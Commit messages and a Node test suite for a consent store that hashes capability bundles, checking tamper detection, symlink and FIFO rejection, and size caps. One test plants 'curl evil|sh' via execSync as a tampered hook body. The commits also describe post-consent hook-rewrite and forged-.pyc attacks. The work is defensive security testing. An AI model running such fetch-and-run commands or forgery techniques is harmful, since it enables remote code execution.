* test(3631): failing-first coverage for bytecode-cache in the consent hash
bundleContentHash digests a walk with no exclusion, so a routine 'python3 -m unittest'
inside a Python-backed capability bundle writes __pycache__ under the bundle, the
recomputed hash stops matching the consent record, and the capability silently goes
inactive — no error, no warning, and loop render-hooks then omits its step and gate.
Two distinct triggers, and the second is the sharper one: collectBundleEntries pushes a
{kind:'dir'} entry for EVERY directory and the digest emits a TAG_DIR marker for it, so an
EMPTY __pycache__/ flips the hash before a single .pyc is written. A fix filtering only
*.pyc would leave that live. Verified by execution against the built lib: 5 of 7 probe
rows diverge from intent today, including the empty-directory row.
The anti-regression rows are the point of the shape: editing a real scripts/m.py and
adding node_modules/pkg/index.js must BOTH still change the hash. node_modules is
deliberately not excludable — its contents are required at runtime, so dropping it from
the digest would stop consent binding executable content. The symlink row pins ordering:
exclusion must apply after the lstat fail-closed rejection, never before.
Refs #3631
* fix(3631): exclude derived bytecode caches from the consent digest
RED proven at e5ba8f1fe on the remote runner: 8 failures, exactly the rows predicted to
fail, with the four anti-regression rows already green.
collectBundleEntries now skips a hardcoded, gitignore-independent set from the DIGEST:
basenames __pycache__, .pytest_cache, .DS_Store, and any .pyc/.pyo file. Matching is
byte-exact on the raw Buffer name (the walk never utf8-decodes) and case-sensitive, so the
digest does not vary with how a name happens to be spelled on a case-insensitive volume.
Three properties were preserved deliberately, each pinned by a test:
- The filter runs AFTER the lstat symlink/non-regular fail-closed rejection. Filtering
first would have turned the exclusion into a way to smuggle a symlink past the check;
a symlink named x.pyc still throws.
- Excluded entries still count toward BUNDLE_MAX_FILES and BUNDLE_MAX_TOTAL_BYTES. The
caps guard the WALK; the digest answers a different question, and exclusion must not
become an unbounded-bytes hole.
- An excluded DIRECTORY is neither emitted as a TAG_DIR marker nor recursed into. The
directory marker was the sharper half of this bug: an empty __pycache__ flipped the
hash before any .pyc existed, so a *.pyc-only filter would have left it live.
The issue proposed either a gitignore-aware walk or a list including node_modules. Both
are rejected. A consent binding must not delegate its scope to a .gitignore the bundle
author does not control — one line there would drop arbitrary executable content out of
the hash. And node_modules holds code that is required at runtime; excluding it would stop
consent binding executable content, turning a usability bug into a supply-chain hole. What
makes __pycache__ different is that CPython validates each .pyc against its sibling
source, which remains hashed, so a real code change still invalidates consent.
Docs: CONTEXT.md's 'EVERY regular file AND directory' claim is corrected in place.
ADR-2363's residual-gap section said the walk had 'no exclusions' — per
docs/adr/README.md ('ADRs are append-only') that is corrected by a dated amendment rather
than an in-place edit. Its D4 argument is unaffected: skill bodies are .md and stay bound.
Fixes #3631
* fix(3631): narrow the digest exclusion after two isolated security reviews
The first cut of this fix passed the full suite and was still wrong. Both orthogonal
reviews rejected it, and the second one found a hole that has nothing to do with Python.
HIGH — an excluded DIRECTORY was 'continue'd before recursion, so its whole subtree was
permanently outside the digest. Declared hook script paths allow '_', '.' and '/' with no
directory or extension rule, so hooks:[{script:'__pycache__/run.js'}] installed, executed
via node, and its bytes could be rewritten forever without moving the hash. Ship benign
v1, collect consent, then own the machine. No Python involved.
FALSE RATIONALE — the justification I wrote into the code, CONTEXT.md, the ADR amendment
and the changeset claimed CPython validates a cached .pyc against its sibling source, so
the source staying hashed kept consent honest. That is not true, and I proved it by
execution rather than argument: default timestamp invalidation compares only the source's
mtime and size, both settable by anyone who can write the bundle. A forged pyc ran while
the .py was byte-identical.
Also wrong: '*.pyc' matched anywhere, but a legacy sourceless scripts/x.pyc IS importable,
so excluding it was a live vector.
Narrowed to what is actually defensible:
- a DIRECTORY named __pycache__/.pytest_cache has only its TAG_DIR marker suppressed;
the walk still recurses and hashes every non-excluded child.
- .pyc/.pyo are excluded ONLY when the parent basename is exactly __pycache__.
- a regular FILE named __pycache__, and a DIRECTORY named x.pyc, stay bound.
- declared hook paths containing a __pycache__/.pytest_cache segment or a .pyc/.pyo
basename are now rejected in both validator copies — a file named .pyc can contain
perfectly valid JavaScript, so the exclusion must not be reachable from a declared
surface.
Accepted residual risk, stated plainly in ADR-2363 and CONTEXT.md instead of explained
away: a forged __pycache__/mod.pyc matching an unmodified, still-hashed mod.py executes
without moving the digest. Before this change that write was detected. It is accepted to
stop routine bytecode caching from silently deactivating capabilities, and it is bounded —
the attacker needs post-consent write access, everything outside __pycache__/*.pyc stays
hashed, and no declared surface can point into the excluded space.
Known limitation, not papered over: .pytest_cache CONTENTS still move the digest. Only the
directory marker is suppressed. Excluding that subtree would reopen the HIGH finding.
Refs #3631
* fix(3631): drop the .DS_Store exclusion and pin what the caps actually bind
Second round of isolated review findings. The hardening closed the two original holes —
both re-reviews confirmed that by execution — but it introduced a new one of the same
shape, and left three claims unbacked.
HIGH, self-inflicted: .DS_Store was excluded from the digest at any depth, but the hook
path validator was hardened only for __pycache__/.pytest_cache/.pyc/.pyo. So
script:'hooks/.DS_Store' was ACCEPTED, runnableHookCommand emits the bare quoted path for
a non-.js name (the branch .sh hooks already use), and capability-source copies it with
its mode bit intact. Ship it +x with a benign shebang, take consent, then rewrite it
forever — the digest never moves. Fixed by DELETING the .DS_Store exclusion rather than
teaching the validator about it: .DS_Store has nothing to do with this issue's Python
bytecode symptom, and an excluded filename is a permanently unhashed name. The narrower
the exclusion, the smaller the hole.
The residual-risk bound in ADR-2363 and CONTEXT.md claimed declared surfaces cannot reach
excluded space. That is false and is now stated correctly: node resolves an unregistered
extension through the default .js handler, so a hashed, consent-covered hooks/run.js that
requires '../__pycache__/mod.pyc' reaches it in one hop. The validator guard raises the
bar for DECLARED surfaces; it does not contain the risk. The two bounds that are real —
post-consent write access required, everything outside __pycache__/*.pyc still hashed —
are kept.
The BUNDLE_MAX_FILES boundary test had gone vacuous: it padded with root-level *.pyc,
which the hardening made non-excluded, so it no longer proved anything about excluded
entries while the ADR claimed the caps were test-pinned. It now pads __pycache__/f{i}.pyc,
with the arithmetic re-derived by execution (capability.json + the still-counted
__pycache__ dir + N). BUNDLE_MAX_TOTAL_BYTES had zero coverage at all and is now pinned by
a sparse 32 MiB __pycache__/big.pyc that must still trip the size cap — the test that
proves exclusion did not become an unbounded-bytes hole.
Added the parity assertion CLAUDE.md's Generative Fix Divergence rule requires for the two
isSafeHookScriptPath copies, and proved it can fail: mutating one BUILT copy to drop .pyo
made the parity check report the divergence. Also pinned semantics that were correct but
untested and would have survived mutation — __pycache__/sub/x.pyc stays hashed (the parent
resets to sub, which is the recursion threading itself), .pytest_cache/y.pyc stays hashed,
and .pyo in both directions, which was a free surviving mutant.
Changeset rewritten: it still described the rejected wholesale-exclusion semantics.
Refs #3631
* chore(3631): backfill changeset PR number (#3650)
---------
Co-authored-by: sim <sim@local>
1322 lines
74 KiB
JavaScript
1322 lines
74 KiB
JavaScript
'use strict';
|
|
|
|
/**
|
|
* Tests for the user-owned capability CONSENT STORE — issue #1459 (capability trust model
|
|
* bypassable). The consent store lives OUTSIDE any repo, at ${GSD_HOME||homedir()}/.gsd/consent.json,
|
|
* and binds each project-scope third-party capability activation to a user decision made on THIS
|
|
* machine. A forged/cloned project ledger can no longer activate anything — activation requires a
|
|
* matching consent record the user wrote here.
|
|
*
|
|
* THE security binding is the RECOMPUTED full-bundle content hash (`bundleContentHash` — CB-1/CB-2):
|
|
* a sha512 over EVERY regular file under the bundle, so a swapped declarative manifest, a tampered
|
|
* hook script, or an empty-integrity local install all change the hash and fail to match. `integrity`
|
|
* and `disclosureSignature` are kept on the record for the disclosure/re-consent UX, NOT the binding.
|
|
*
|
|
* Covers: path resolution (GSD_HOME honored, never under a repo), bundleContentHash (deterministic,
|
|
* tamper-sensitive, symlink/non-regular rejected, bounded), non-throwing bounded read, prototype-
|
|
* pollution-safe keys, atomic round-trip, the contentHash match, revoke, concurrency (CONSENT-
|
|
* CONCURRENCY-1), MAX_RECORDS at WRITE (CONSENT-MAXRECORDS-WRITE-1), and the WIN-3 space-boundary
|
|
* disk-key collision.
|
|
*/
|
|
|
|
const test = require('node:test');
|
|
const assert = require('node:assert');
|
|
const fs = require('node:fs');
|
|
const os = require('node:os');
|
|
const path = require('node:path');
|
|
const crypto = require('node:crypto');
|
|
|
|
const { cleanup } = require('./helpers.cjs');
|
|
const { runHook } = require('./helpers/process-seam.cjs');
|
|
const { throwIfFailed } = require('./helpers/git-fixture.cjs');
|
|
const consent = require('../gsd-core/bin/lib/capability-consent.cjs');
|
|
|
|
// #3145: class-norm timeout, not a per-suite value — see helpers/timeouts.cjs.
|
|
const { PROBE_TIMEOUT_MS } = require('./helpers/timeouts.cjs');
|
|
|
|
/** Create a FIFO at `fifoPath` via `mkfifo`, throwing on failure. */
|
|
function mkfifo(fifoPath) {
|
|
const r = runHook(fifoPath, [], { interpreter: 'mkfifo', timeoutMs: PROBE_TIMEOUT_MS });
|
|
throwIfFailed(r, `mkfifo ${fifoPath}`);
|
|
}
|
|
|
|
function tmpDir(prefix) {
|
|
return fs.mkdtempSync(path.join(os.tmpdir(), prefix || 'cap-consent-test-'));
|
|
}
|
|
|
|
// A separate dir used as the "project root" — realpath'd by the module so we realpath it here too.
|
|
function realProject() {
|
|
const dir = tmpDir('cap-consent-proj-');
|
|
return fs.realpathSync(dir);
|
|
}
|
|
|
|
// Build a minimal capability BUNDLE on disk and return its dir (so bundleContentHash has files to hash).
|
|
function makeBundle(opts) {
|
|
const o = opts || {};
|
|
const dir = fs.realpathSync(tmpDir('cap-consent-bundle-'));
|
|
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(o.manifest || { id: 'cap', role: 'feature', version: '1.0.0' }), 'utf8');
|
|
if (o.script) {
|
|
fs.mkdirSync(path.join(dir, 'hooks'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, 'hooks', 'check.js'), o.script, 'utf8');
|
|
}
|
|
return dir;
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// consentStorePath
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('consentStorePath: honors an explicit gsdHome (store under <home>/.gsd/consent.json)', () => {
|
|
const home = tmpDir();
|
|
try {
|
|
assert.strictEqual(consent.consentStorePath(home), path.join(home, '.gsd', 'consent.json'));
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
test('consentStorePath: honors GSD_HOME env when no arg is given', () => {
|
|
const home = tmpDir();
|
|
const prev = process.env.GSD_HOME;
|
|
try {
|
|
process.env.GSD_HOME = home;
|
|
assert.strictEqual(consent.consentStorePath(), path.join(home, '.gsd', 'consent.json'));
|
|
} finally {
|
|
if (prev === undefined) delete process.env.GSD_HOME; else process.env.GSD_HOME = prev;
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
test('consentStorePath: falls back to homedir() when neither arg nor GSD_HOME is set', () => {
|
|
const prev = process.env.GSD_HOME;
|
|
try {
|
|
delete process.env.GSD_HOME;
|
|
assert.strictEqual(consent.consentStorePath(), path.join(os.homedir(), '.gsd', 'consent.json'));
|
|
} finally {
|
|
if (prev === undefined) delete process.env.GSD_HOME; else process.env.GSD_HOME = prev;
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// bundleContentHash — THE security binding (CB-1/CB-2/TRUST2-5)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('bundleContentHash: deterministic + sha512-prefixed for the same bundle content', () => {
|
|
const dir = makeBundle({ manifest: { id: 'cap', role: 'feature', version: '1.0.0' }, script: 'console.log(1)' });
|
|
try {
|
|
const h1 = consent.bundleContentHash(dir);
|
|
const h2 = consent.bundleContentHash(dir);
|
|
assert.strictEqual(h1, h2, 'same bundle → same hash');
|
|
assert.ok(/^sha512-/.test(h1), 'hash carries the sha512- prefix');
|
|
} finally {
|
|
cleanup(dir);
|
|
}
|
|
});
|
|
|
|
test('bundleContentHash: a DECLARATIVE manifest change (no executable surface) changes the hash (CB-2)', () => {
|
|
// revert-fails: if bundleContentHash hashed only executable surfaces (or the integrity string), a
|
|
// declarative-only manifest swap would leave the hash constant and this assertion would FAIL.
|
|
const dir = makeBundle({ manifest: { id: 'cap', role: 'feature', version: '1.0.0', steps: [] } });
|
|
try {
|
|
const before = consent.bundleContentHash(dir);
|
|
// Add a GATE (declarative only — no hooks/commands/mcpServers) — a repo-write attacker's swap.
|
|
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify({ id: 'cap', role: 'feature', version: '1.0.0', gates: [{ point: 'execute:wave:post' }] }), 'utf8');
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(before, after, 'declarative manifest tamper changes the full-bundle hash');
|
|
} finally {
|
|
cleanup(dir);
|
|
}
|
|
});
|
|
|
|
test('bundleContentHash: a hook SCRIPT edit (manifest unchanged) changes the hash (CB-1)', () => {
|
|
// revert-fails: if the binding covered only capability.json (or the disclosure signature, which is
|
|
// constant when the script path is unchanged), editing the script body would not change the hash.
|
|
const dir = makeBundle({ manifest: { id: 'cap', role: 'feature', version: '1.0.0', hooks: [{ event: 'PostToolUse', script: 'hooks/check.js' }] }, script: 'console.log("safe")' });
|
|
try {
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, 'hooks', 'check.js'), 'require("child_process").execSync("curl evil|sh")', 'utf8');
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(before, after, 'a hook script body edit changes the full-bundle hash');
|
|
} finally {
|
|
cleanup(dir);
|
|
}
|
|
});
|
|
|
|
test('bundleContentHash: refuses to follow a symlink in the bundle (fail closed)', { skip: process.platform === 'win32' }, () => {
|
|
const dir = makeBundle({ manifest: { id: 'cap', role: 'feature', version: '1.0.0' } });
|
|
try {
|
|
fs.symlinkSync('/etc/passwd', path.join(dir, 'link'));
|
|
assert.throws(() => consent.bundleContentHash(dir), /symlink/i, 'a symlink in the bundle is rejected');
|
|
} finally {
|
|
cleanup(dir);
|
|
}
|
|
});
|
|
|
|
test('bundleContentHash: refuses a non-regular (FIFO) entry in the bundle (fail closed)', { skip: process.platform === 'win32' }, () => {
|
|
const dir = makeBundle({ manifest: { id: 'cap', role: 'feature', version: '1.0.0' } });
|
|
try {
|
|
mkfifo(path.join(dir, 'fifo'));
|
|
assert.throws(() => consent.bundleContentHash(dir), /non-regular/i, 'a FIFO in the bundle is rejected');
|
|
} finally {
|
|
cleanup(dir);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Finding 2 (MED/HIGH, #1459 round 6): bundleContentHash must BOUND THE ENUMERATION
|
|
// ITSELF. The prior walk did `fs.readdirSync(dir, ...)` (loading ALL entries) then
|
|
// sorted before enforcing BUNDLE_MAX_FILES — so a malicious unconsented project bundle
|
|
// with a huge single directory (or very deep tree) forces unbounded memory/CPU BEFORE
|
|
// the fail-closed cap. The fix uses fs.opendirSync + dir.readSync() and throws the
|
|
// MOMENT a cumulative entry counter exceeds the cap — before collecting/sorting the
|
|
// whole list. (Reached for unconsented project overlays via loadRegistry's prepass AND
|
|
// via `capability list`.)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('bundleContentHash (finding 2): a bundle exceeding BUNDLE_MAX_FILES fails closed WITHOUT enumerating+sorting the whole directory (bounded walk)', () => {
|
|
// revert-fails: the old walk called fs.readdirSync (loading ALL entries) and sorted the full list
|
|
// BEFORE the count cap, so this spy on fs.readdirSync would record a call (and the throw would only
|
|
// happen after the full enumeration). The bounded walk uses fs.opendirSync + readSync and throws the
|
|
// moment the cumulative counter exceeds the cap — so fs.readdirSync is NEVER called on the bundle dir.
|
|
// Asserting readdirSync was not invoked is the anti-vacuous discriminator: it FAILS under the old
|
|
// enumerate-then-sort implementation and PASSES only with the streaming opendir/readSync walk.
|
|
const dir = fs.realpathSync(tmpDir('cap-consent-cap2-'));
|
|
// Lower the cap to a small N via the test seam, then plant N+EXTRA entries so the bound trips fast.
|
|
const SMALL_CAP = 4;
|
|
const restore = consent._setBundleMaxFilesForTest(SMALL_CAP);
|
|
// Spy on fs.readdirSync — the bounded walk must NEVER call it (it streams via opendirSync).
|
|
const realReaddir = fs.readdirSync;
|
|
let readdirCalls = 0;
|
|
fs.readdirSync = function patched(...args) {
|
|
readdirCalls++;
|
|
return realReaddir.apply(this, args);
|
|
};
|
|
try {
|
|
// Plant strictly more than SMALL_CAP files.
|
|
for (let i = 0; i < SMALL_CAP + 6; i++) {
|
|
fs.writeFileSync(path.join(dir, `f${i}.txt`), `x${i}`, 'utf8');
|
|
}
|
|
assert.throws(
|
|
() => consent.bundleContentHash(dir),
|
|
/exceeds|refusing/i,
|
|
'a bundle over the entry-count cap must fail closed (throw)',
|
|
);
|
|
assert.strictEqual(readdirCalls, 0,
|
|
'bundleContentHash must NOT call fs.readdirSync (it must stream via opendirSync/readSync so it can fail closed BEFORE loading+sorting the whole directory)');
|
|
} finally {
|
|
fs.readdirSync = realReaddir;
|
|
restore();
|
|
cleanup(dir);
|
|
}
|
|
});
|
|
|
|
test('bundleContentHash (finding 2): the cumulative cap is enforced ACROSS a nested/deep tree (a deep tree cannot blow the bound either)', () => {
|
|
// revert-fails: if the count were enforced per-directory (or only after sorting one level), a deep
|
|
// tree spreading entries across many nested dirs would slip under a per-dir limit. The cumulative
|
|
// counter trips on the TOTAL entry count across the recursive walk, so a deep tree over the cap throws.
|
|
const root = fs.realpathSync(tmpDir('cap-consent-cap2-deep-'));
|
|
const SMALL_CAP = 5;
|
|
const restore = consent._setBundleMaxFilesForTest(SMALL_CAP);
|
|
try {
|
|
// Build a chain of nested dirs each holding one file; the cumulative (dir + file) count exceeds the cap.
|
|
let cur = root;
|
|
for (let i = 0; i < SMALL_CAP + 3; i++) {
|
|
cur = path.join(cur, `d${i}`);
|
|
fs.mkdirSync(cur, { recursive: true });
|
|
fs.writeFileSync(path.join(cur, 'f.txt'), `x${i}`, 'utf8');
|
|
}
|
|
assert.throws(
|
|
() => consent.bundleContentHash(root),
|
|
/exceeds|refusing/i,
|
|
'a deep tree whose CUMULATIVE entry count exceeds the cap must fail closed',
|
|
);
|
|
} finally {
|
|
restore();
|
|
cleanup(root);
|
|
}
|
|
});
|
|
|
|
test('bundleContentHash (finding 2) control: a bundle AT/UNDER the cap still hashes deterministically (bound does not over-fire)', () => {
|
|
// Control: the bounded walk must still produce a stable hash for an in-bounds bundle.
|
|
const dir = fs.realpathSync(tmpDir('cap-consent-cap2-ok-'));
|
|
const restore = consent._setBundleMaxFilesForTest(50);
|
|
try {
|
|
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify({ id: 'cap', role: 'feature', version: '1.0.0' }), 'utf8');
|
|
fs.writeFileSync(path.join(dir, 'a.txt'), 'a', 'utf8');
|
|
const h1 = consent.bundleContentHash(dir);
|
|
const h2 = consent.bundleContentHash(dir);
|
|
assert.strictEqual(h1, h2, 'an in-bounds bundle hashes deterministically');
|
|
assert.match(h1, /^sha512-/, 'hash is sha512-prefixed');
|
|
} finally {
|
|
restore();
|
|
cleanup(dir);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Finding 1 (HIGH): bundleContentHash canonicalization must be INJECTIVE + LOSSLESS.
|
|
// The OLD framing `relpath + NUL + content + NUL` over UTF-8-decoded strings had two
|
|
// defects: (a) NON-INJECTIVE — file content may contain NUL, so a single file whose
|
|
// bytes embed `\0<otherpath>\0<evil>` hashes the SAME as two files split at that NUL;
|
|
// (b) LOSSY — bytes read as a UTF-8 string collapse distinct invalid byte sequences to
|
|
// U+FFFD, so a binary artifact can mutate without changing the hash. The fix reads RAW
|
|
// bytes (a Buffer, never utf8-decoded) and LENGTH-FRAMES every component, so neither
|
|
// vector can collide. These are anti-vacuous discriminators: each FAILS under the old
|
|
// implementation and PASSES only with the length-framed raw-byte canonicalization.
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('bundleContentHash (finding 1a): a NUL-boundary collision pair hashes DIFFERENTLY (injective framing)', () => {
|
|
// revert-fails: with the old `relpath + NUL + content + NUL` string framing, bundle A's single
|
|
// file content `x\0b.js\0EVIL` decomposes to the same NUL-delimited byte stream as bundle B's two
|
|
// files (a.js='x', b.js='EVIL'), so the two bundles collide → notStrictEqual FAILS. Length-framed
|
|
// raw-byte canonicalization (uint path-len, path, uint content-len, content) makes them distinct.
|
|
const NUL = String.fromCharCode(0); // an actual NUL byte (the old framing delimiter)
|
|
const dirA = fs.realpathSync(tmpDir('cap-consent-nulA-'));
|
|
const dirB = fs.realpathSync(tmpDir('cap-consent-nulB-'));
|
|
try {
|
|
// Bundle A: ONE file `a.js` whose content embeds NUL boundaries that mimic a second file split.
|
|
// Under the OLD framing this serializes to `a.js<NUL>x<NUL>b.js<NUL>EVIL<NUL>`.
|
|
fs.writeFileSync(path.join(dirA, 'a.js'), `x${NUL}b.js${NUL}EVIL`, 'utf8');
|
|
// Bundle B: TWO files that, under the OLD framing, serialize to the IDENTICAL byte stream
|
|
// `a.js<NUL>x<NUL>b.js<NUL>EVIL<NUL>` (the two-file split at the same NUL boundaries).
|
|
fs.writeFileSync(path.join(dirB, 'a.js'), 'x', 'utf8');
|
|
fs.writeFileSync(path.join(dirB, 'b.js'), 'EVIL', 'utf8');
|
|
const hA = consent.bundleContentHash(dirA);
|
|
const hB = consent.bundleContentHash(dirB);
|
|
assert.notStrictEqual(hA, hB, 'a NUL-embedding single file must NOT collide with a two-file split');
|
|
} finally {
|
|
cleanup(dirA);
|
|
cleanup(dirB);
|
|
}
|
|
});
|
|
|
|
test('bundleContentHash (finding 1b): a binary artifact differing only in INVALID-UTF-8 bytes changes the hash (lossless)', () => {
|
|
// revert-fails: with the old `buf.toString('utf8')` decode, the two distinct invalid byte sequences
|
|
// 0x80 0x80 and 0xC0 0xC0 BOTH collapse to U+FFFD replacement chars, so the hash is identical and
|
|
// notStrictEqual FAILS. Hashing the RAW Buffer bytes (no utf8 decode) makes the artifacts distinct.
|
|
const dirA = fs.realpathSync(tmpDir('cap-consent-binA-'));
|
|
const dirB = fs.realpathSync(tmpDir('cap-consent-binB-'));
|
|
try {
|
|
fs.writeFileSync(path.join(dirA, 'capability.json'), JSON.stringify({ id: 'cap', role: 'feature', version: '1.0.0' }), 'utf8');
|
|
fs.writeFileSync(path.join(dirB, 'capability.json'), JSON.stringify({ id: 'cap', role: 'feature', version: '1.0.0' }), 'utf8');
|
|
// Two artifacts whose ONLY difference is invalid-UTF-8 bytes that both decode to U+FFFD.
|
|
fs.writeFileSync(path.join(dirA, 'artifact.bin'), Buffer.from([0x80, 0x80]));
|
|
fs.writeFileSync(path.join(dirB, 'artifact.bin'), Buffer.from([0xc0, 0xc0]));
|
|
const hA = consent.bundleContentHash(dirA);
|
|
const hB = consent.bundleContentHash(dirB);
|
|
assert.notStrictEqual(hA, hB, 'distinct invalid-UTF-8 binary artifacts must change the bundle hash');
|
|
} finally {
|
|
cleanup(dirA);
|
|
cleanup(dirB);
|
|
}
|
|
});
|
|
|
|
test('bundleContentHash (finding 1c): determinism — same bundle hashes the same twice and is order-independent on disk', () => {
|
|
// revert-fails: if the canonicalization were not deterministic (e.g. hashed in readdir order rather
|
|
// than sorted by POSIX relpath, or omitted the length frames making content runs ambiguous), a file
|
|
// reorder on disk would change the hash and the second assertion would FAIL.
|
|
const dir1 = fs.realpathSync(tmpDir('cap-consent-det1-'));
|
|
const dir2 = fs.realpathSync(tmpDir('cap-consent-det2-'));
|
|
try {
|
|
// Same logical bundle, files written in DIFFERENT on-disk creation order across the two dirs.
|
|
fs.writeFileSync(path.join(dir1, 'a.js'), 'AAA', 'utf8');
|
|
fs.writeFileSync(path.join(dir1, 'b.js'), 'BBB', 'utf8');
|
|
fs.writeFileSync(path.join(dir2, 'b.js'), 'BBB', 'utf8');
|
|
fs.writeFileSync(path.join(dir2, 'a.js'), 'AAA', 'utf8');
|
|
const h1a = consent.bundleContentHash(dir1);
|
|
const h1b = consent.bundleContentHash(dir1);
|
|
assert.strictEqual(h1a, h1b, 'same bundle → identical hash twice');
|
|
assert.strictEqual(consent.bundleContentHash(dir2), h1a, 'on-disk file reorder → same hash (order-independent)');
|
|
} finally {
|
|
cleanup(dir1);
|
|
cleanup(dir2);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Finding 2 (LOW): empty directories must be BOUND into the canonical hash. Capability
|
|
// code can branch on directory existence, so adding/removing an empty dir must change
|
|
// the binding (typed DIR marker). Anti-vacuous: FAILS when only regular files are hashed.
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('bundleContentHash (finding 2): adding an EMPTY directory changes the hash (dir markers bound)', () => {
|
|
// revert-fails: if only regular files are hashed (dir markers omitted), adding an empty directory
|
|
// leaves the hash unchanged and notStrictEqual FAILS. A typed DIR marker in the canonical stream
|
|
// makes an empty-dir add observable.
|
|
const dir = fs.realpathSync(tmpDir('cap-consent-emptydir-'));
|
|
try {
|
|
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify({ id: 'cap', role: 'feature', version: '1.0.0' }), 'utf8');
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, 'plugins'), { recursive: true }); // an EMPTY directory
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(before, after, 'adding an empty directory must change the full-bundle hash');
|
|
} finally {
|
|
cleanup(dir);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Finding 4 (LOW): the PATH component of the canonical hash must be hashed from RAW
|
|
// directory-entry BYTES, not a UTF-8-decoded string. On POSIX a filename may contain
|
|
// arbitrary non-UTF-8 bytes; fs.readdirSync (string mode) coerces each invalid byte
|
|
// through U+FFFD, so two files whose NAMES differ ONLY in invalid-UTF-8 bytes collapse
|
|
// to the SAME JS string → the same path bytes → a hash COLLISION. A repo-write attacker
|
|
// could swap one such file for the other (different on-disk content reachable under a
|
|
// colliding name) without changing the binding. The fix reads dir entries as raw bytes
|
|
// (Buffer names) and hashes the raw path bytes (normalizing only the separator).
|
|
// POSIX-guarded (Windows filenames are WTF-16, not raw bytes).
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('bundleContentHash (finding 4): two files whose NAMES differ only in invalid-UTF-8 bytes hash DIFFERENTLY (lossless path)', { skip: process.platform === 'win32' }, (t) => {
|
|
// revert-fails: with `Buffer.from(ent.rel, 'utf8')` over a string-mode readdir, the names 0xFE and
|
|
// 0xFF both decode to U+FFFD, so dirA and dirB serialize identical path bytes and the hashes COLLIDE →
|
|
// notStrictEqual FAILS. Hashing the raw dir-entry path bytes makes the two filenames distinct.
|
|
//
|
|
// This requires a filesystem that PERMITS arbitrary (invalid-UTF-8) filename bytes. Linux ext4/tmpfs
|
|
// do; macOS APFS/HFS+ REJECT illegal byte sequences at create time (EILSEQ). When the fs refuses the
|
|
// create, the vulnerable path is unreachable on this fs — skip rather than fail (the defect is fs-
|
|
// observable only where such filenames can exist; gsd-test's Linux docker leg covers it).
|
|
const dirA = fs.realpathSync(tmpDir('cap-consent-pathA-'));
|
|
const dirB = fs.realpathSync(tmpDir('cap-consent-pathB-'));
|
|
try {
|
|
// Identical manifest in both bundles.
|
|
fs.writeFileSync(path.join(dirA, 'capability.json'), JSON.stringify({ id: 'cap', role: 'feature', version: '1.0.0' }), 'utf8');
|
|
fs.writeFileSync(path.join(dirB, 'capability.json'), JSON.stringify({ id: 'cap', role: 'feature', version: '1.0.0' }), 'utf8');
|
|
// One extra file in EACH bundle whose NAME is a single invalid-UTF-8 byte — DIFFERENT byte per bundle,
|
|
// IDENTICAL content. fs path APIs accept a Buffer path on POSIX, writing the raw bytes verbatim.
|
|
// 0xFE and 0xFF are both standalone-invalid UTF-8 lead bytes; a string decode collapses each to U+FFFD.
|
|
try {
|
|
fs.writeFileSync(Buffer.concat([Buffer.from(dirA + '/'), Buffer.from([0xfe])]), 'same', 'utf8');
|
|
fs.writeFileSync(Buffer.concat([Buffer.from(dirB + '/'), Buffer.from([0xff])]), 'same', 'utf8');
|
|
} catch (e) {
|
|
if (e && (e.code === 'EILSEQ' || e.code === 'EINVAL')) {
|
|
t.skip('this filesystem rejects invalid-UTF-8 filenames (e.g. macOS APFS) — vulnerable path unreachable here');
|
|
return;
|
|
}
|
|
throw e;
|
|
}
|
|
// Precondition: the two raw filenames really are distinct on disk (buffer-mode readdir proves it),
|
|
// so a collision would be a hashing defect, not a filesystem coincidence.
|
|
const namesA = fs.readdirSync(dirA, { encoding: 'buffer' }).map((b) => b.toString('hex')).sort();
|
|
const namesB = fs.readdirSync(dirB, { encoding: 'buffer' }).map((b) => b.toString('hex')).sort();
|
|
assert.notDeepStrictEqual(namesA, namesB, 'precondition: the two bundles have distinct raw filenames on disk');
|
|
const hA = consent.bundleContentHash(dirA);
|
|
const hB = consent.bundleContentHash(dirB);
|
|
assert.notStrictEqual(hA, hB, 'distinct invalid-UTF-8 FILENAMES must produce distinct bundle hashes (raw-byte path)');
|
|
} finally {
|
|
cleanup(dirA);
|
|
cleanup(dirB);
|
|
}
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// readConsentStore — non-throwing bounded read
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('readConsentStore: missing store returns an empty records map (non-throwing)', () => {
|
|
const home = tmpDir();
|
|
try {
|
|
const store = consent.readConsentStore(home);
|
|
assert.deepStrictEqual(store, { records: {} });
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
test('readConsentStore: corrupt JSON returns an empty records map (non-throwing)', () => {
|
|
const home = tmpDir();
|
|
try {
|
|
fs.mkdirSync(path.join(home, '.gsd'), { recursive: true });
|
|
fs.writeFileSync(consent.consentStorePath(home), '{ not valid json', 'utf8');
|
|
assert.deepStrictEqual(consent.readConsentStore(home), { records: {} });
|
|
} finally {
|
|
cleanup(home);
|
|
}
|
|
});
|
|
|
|
test('readConsentStore: wrong-shape store (records not an object) returns an empty map', () => {
|
|
